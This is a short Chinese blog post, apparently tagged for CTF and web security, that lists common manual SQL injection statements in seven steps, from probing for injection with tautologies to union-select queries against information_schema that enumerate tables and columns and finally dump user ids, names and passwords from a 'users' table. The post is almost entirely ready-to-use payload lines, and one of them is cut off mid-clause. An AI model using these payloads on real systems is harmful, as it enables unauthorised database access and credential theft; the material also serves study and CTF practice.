美文网首页ctfCTF-Web安全
SQL常用注入语句

SQL常用注入语句

作者: 简言之_ | 来源:发表于2019-01-29 14:16 被阅读0次
手工注入常规思路:
1.判断是否存在注入,注入是字符型还是数字型
2.猜解 SQL 查询语句中的字段数
3.确定显示的字段顺序
4.获取当前数据库
5.获取数据库中的表
6.获取表中的字段名
7.查询到账户的数据

1.判断是否存在注入,注入是字符型还是数字型

1
1' or '1'='1
1’and ‘1’ =’2
1 or 1=1

2.猜解SQL查询语句中的字段数

1′ or 1=1 order by 1 #
1′ or 1=1 order by 2 #
...

3.确定显示的字段顺序

1′ union select 1,2 #

4.获取当前数据库

1′ union select 1,database() #

5.获取数据库中的表

1′ union select 1,group_concat(table_name) from information_schema.tables where table

6.获取表中的字段名

1′ union select 1,group_concat(column_name) from information_schema.columns where table_name=’users’ #

7.下载数据

1′ or 1=1 union select  group_concat(user_id,first_name,last_name),group_concat(password) from users #

相关文章

  • 常用sql注入语句

    转载链接 渗透常用SQL注入语句大全(网上收集) 记一次通过fckeditor入侵提权拿服务器 常用sql注入语句

  • SQL常用注入语句

    1.判断是否存在注入,注入是字符型还是数字型 2.猜解SQL查询语句中的字段数 3.确定显示的字段顺序 4.获取当...

  • SQL注入

    ①攻击者访问有SQL注入漏洞的网站,寻找注入点 ②攻击者构造注入语句,注入语句和程序中的SQL语句结合生成新的SQ...

  • web安全编程(php)

    一.sql注入 漏洞原理:1.使用用户的参数拼接sql语句2.参数改变了原有sql语句的结构注入方式: 回显注入 ...

  • 09-ADO.NET进阶

    一、sql注入风险及解决方案 SQL注入是指在事先定义好的SQL语句中注入额外的SQL语句,从此来欺骗数据库服务器...

  • 6.mysql安全性

    SQL语句应该考虑哪些安全性? Sql查询的安全方案【就是考察sql注入】 1.使用预处理语句,防Sql注入 【p...

  • BUUCTF-Web-随便注(三种解题思路)

    知识点:SQL注入-堆叠注入,sql预处理语句,巧用contact()函数绕过 堆叠注入原理: 在SQL中,分号(...

  • 怎么防止SQL注入

    SQL注入举例定义sql语句(php):username' and password= '$password' "...

  • #{}和${}应用场景

    #{}sql语句中;//占位符== ?spel注入方式中; //#{user1.name} ${}sql语句中;...

  • DVWA之sql injection

    Sql Injection:sql注入,指通过注入恶意的SQL命令,破坏SQL查询语句的结构,从而达到执行恶意SQ...

网友评论

    本文标题:SQL常用注入语句

    本文链接:https://www.haomeiwen.com/subject/pqtajqtx.html